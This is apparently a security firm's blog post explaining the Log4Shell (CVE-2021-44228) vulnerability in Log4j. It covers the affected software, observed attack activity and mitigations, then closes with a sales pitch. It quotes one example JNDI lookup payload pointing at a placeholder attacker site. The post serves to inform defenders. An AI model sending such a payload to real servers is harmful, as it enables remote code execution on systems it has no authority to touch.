Blog
On December 9th, 2021, word of a critical vulnerability first came to light to the Minecraft gaming community. Servers and gaming clients that ran the Java version of Minecraft were at risk of something called “arbitrary remote code execution.” This could be done on inputs that were logged, in the case of Minecraft, an example of an exploitation vector is the in-game chat client. Soon after the root cause of the vulnerability was determined to be Log4j, news of this zero-day vulnerability was covered virtually on every single security advisory, Twitter, IT firms, and other news outlets.
What is Log4j?
Essentially, Log4j is a Java plugin (called libraries) that is used in many Java-based applications. Since Java has been around for a quarter of a century at this point, this would mean many servers and services on the Internet that utilize Log4j. While many logging frameworks exist in Java, Log4j is by far one of the most popular frameworks used for logging.
The Impact
As of the date of publishing, the list of manufacturers and components has been growing. A list has been compiled and verification is currently taking place by the Internet community. Since a lot of organizations utilize software from third-party vendors, the list for affected applications is also rapidly growing. What is even more concerning is if you are a software vendor, and your products are using components that utilize Log4j will cause the product to be vulnerable. This list is also actively growing. Whether as an individual or an organization, it is difficult to ascertain exactly which applications, Internet services, products, and/or software depend on Java. To pinpoint exactly which Java-based services use Log4j is even harder. In addition, to know which versions of Log4j make this already difficult task even more difficult.
Attack Details
Various firms have begun tackling and tracking threats taking advantage of the Log4j vulnerability dubbed CVE-2021-44228 and also referred to as “Log4Shell.” This allows an unauthenticated attacker to perform remote code execution when crafting a malicious string through various inputs in the application or affected product. An example of this string that may be used by researchers and attackers alike is through the Java Naming and Directory Interface:
{jndi:ldap://[attacker site]/endpoint}
According to the Swiss Government Computer Emergency Response Team, the Log4j attack along which possible mitigation steps at each stage of the exploitation have been detailed in the following diagram.
log4j
Threats
As of December 10, 2021 6:44 EST to 5:46 PM EST, security vendors and researchers have observed an uptick of more than 1.4 million attacks targeting CVE-2021-44228. This roughly translates to 280k attacks per hour. Similarly, both antivirus and endpoint detection and response vendors have observed the following malicious behaviour:
Mass CVE-2021-44228 scanning with various HTTP headers
Mass CVE-2021-44228 exploitation (pray and spray style)
Installation of Cobalt Strike to enable credential theft and lateral movement
Deploying coin miners
Exfiltration of data from compromised systems
These threats are likely going to increase until vendors start to push patches and updates for proprietary products. Unfortunately, it may be some time until full knowledge of how widespread and how impacting this vulnerability will be.
What You Can Do
Due to how large the attack surface, and how it is still continuing to grow, it may take weeks or months for this to be resolved. About 13 hours ago, Apache announced the release of log4j 2.16.0 where JNDI lookups are by default disabled. It should be a few more days for these security patches to flow downstream to affected products and affected vendors.
In addition to this, the best thing anyone can do is to practice defence in depth. Sensitive network zones should prevent outbound egress as this will likely increase the difficulty of exploitation. Increase monitoring on exploitation and post-exploitation activity to detect obfuscated command lines, suspicious use of live-off-the-land binaries (e.g. powershell), suspicious file downloads, and suspicious C2 connections.
In terms of addressing the potential incident, organizations should start to determine which if any codebases and repositories are affected. System administrators and developers should find evidence of log4j usage on servers (e.g. lsof | grep log4j). Several open-source scanners are also available to test and validate whether or not applications are affected by this vulnerability:
Continue to monitor affected manufacturers, servers, applications, and components using Git Hub
How We Can Help
Reach out to Packetlabs to see whether or not we can help to assist in determining whether or not log4j is impacting your environment. You can rely on Packetlabs for continued support as our researchers continue to monitor defensive strategy and mitigation insight shared by the rest of the information security community.